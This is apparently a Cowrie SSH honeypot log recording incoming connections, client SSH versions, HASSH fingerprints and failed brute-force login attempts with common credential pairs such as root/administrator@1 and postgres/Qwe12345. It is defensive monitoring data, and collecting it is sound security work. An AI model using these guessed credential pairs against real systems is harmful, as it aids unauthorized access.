{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:11.134142Z","src_ip":"152.32.238.146","session":"0606d246eddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator@1","message":"login attempt [root/administrator@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:11.221705Z","src_ip":"152.32.238.146","session":"0606d246eddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:12.239200Z","src_ip":"152.32.238.146","session":"0606d246eddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":49762,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac8bf0b58743","protocol":"ssh","message":"New connection: 140.106.25.230:49762 (159.203.135.109:22) [session: ac8bf0b58743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:24.311082Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:24.319652Z","src_ip":"140.106.25.230","session":"ac8bf0b58743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:24.350480Z","src_ip":"140.106.25.230","session":"ac8bf0b58743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"git123","message":"login attempt [ubuntu/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:24.501022Z","src_ip":"140.106.25.230","session":"ac8bf0b58743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:25.533035Z","src_ip":"140.106.25.230","session":"ac8bf0b58743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38738,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c9e54a39b48","protocol":"ssh","message":"New connection: 159.203.92.129:38738 (159.203.135.109:22) [session: 2c9e54a39b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:39.502391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:39.507894Z","src_ip":"159.203.92.129","session":"2c9e54a39b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:39.512961Z","src_ip":"159.203.92.129","session":"2c9e54a39b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a207","password":"123456","message":"login attempt [a207/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:39.523731Z","src_ip":"159.203.92.129","session":"2c9e54a39b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:40.530756Z","src_ip":"159.203.92.129","session":"2c9e54a39b48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":46848,"dst_ip":"10.17.0.5","dst_port":22,"session":"15701f2c4d27","protocol":"ssh","message":"New connection: 196.189.51.7:46848 (10.17.0.5:22) [session: 15701f2c4d27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:43.339761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:43.352360Z","src_ip":"196.189.51.7","session":"15701f2c4d27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:43.519990Z","src_ip":"196.189.51.7","session":"15701f2c4d27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"linux123","message":"login attempt [ubuntu/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:44.213898Z","src_ip":"196.189.51.7","session":"15701f2c4d27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:45.394116Z","src_ip":"196.189.51.7","session":"15701f2c4d27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.115.237","src_port":51018,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9322422dc08","protocol":"ssh","message":"New connection: 14.103.115.237:51018 (10.17.0.5:22) [session: b9322422dc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:48.148009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:48.153445Z","src_ip":"14.103.115.237","session":"b9322422dc08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:48.371010Z","src_ip":"14.103.115.237","session":"b9322422dc08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Qwe12345","message":"login attempt [postgres/Qwe12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:49.266494Z","src_ip":"14.103.115.237","session":"b9322422dc08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:50.997314Z","src_ip":"14.103.115.237","session":"b9322422dc08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":41888,"dst_ip":"10.17.0.5","dst_port":22,"session":"07469cb87792","protocol":"ssh","message":"New connection: 194.59.206.2:41888 (10.17.0.5:22) [session: 07469cb87792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:56.859227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:56.914401Z","src_ip":"194.59.206.2","session":"07469cb87792","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:56.962157Z","src_ip":"194.59.206.2","session":"07469cb87792","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:13:57.135002Z","src_ip":"194.59.206.2","session":"07469cb87792","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":39730,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfcf7d152571","protocol":"ssh","message":"New connection: 152.32.238.146:39730 (10.17.0.5:22) [session: cfcf7d152571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:05.496655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:05.501544Z","src_ip":"152.32.238.146","session":"cfcf7d152571","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:05.520546Z","src_ip":"152.32.238.146","session":"cfcf7d152571","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@9000","message":"login attempt [ubuntu/Admin@9000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:05.606933Z","src_ip":"152.32.238.146","session":"cfcf7d152571","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:06.626210Z","src_ip":"152.32.238.146","session":"cfcf7d152571","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42758,"dst_ip":"159.203.135.109","dst_port":22,"session":"83df3bc7e017","protocol":"ssh","message":"New connection: 80.94.92.186:42758 (159.203.135.109:22) [session: 83df3bc7e017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:12.918704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:13.066730Z","src_ip":"80.94.92.186","session":"83df3bc7e017","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:13.074496Z","src_ip":"80.94.92.186","session":"83df3bc7e017","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse@123","message":"login attempt [lighthouse/lighthouse@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:13.790026Z","src_ip":"80.94.92.186","session":"83df3bc7e017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"140.106.25.230","src_port":38804,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3809ba7f227","protocol":"ssh","message":"New connection: 140.106.25.230:38804 (159.203.135.109:22) [session: a3809ba7f227]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:15.026166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:15.035499Z","src_ip":"140.106.25.230","session":"a3809ba7f227","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T11:14:15.069910Z","src_ip":"140.106.25.230","session":"a3809ba7f227","protocol":"ssh"}
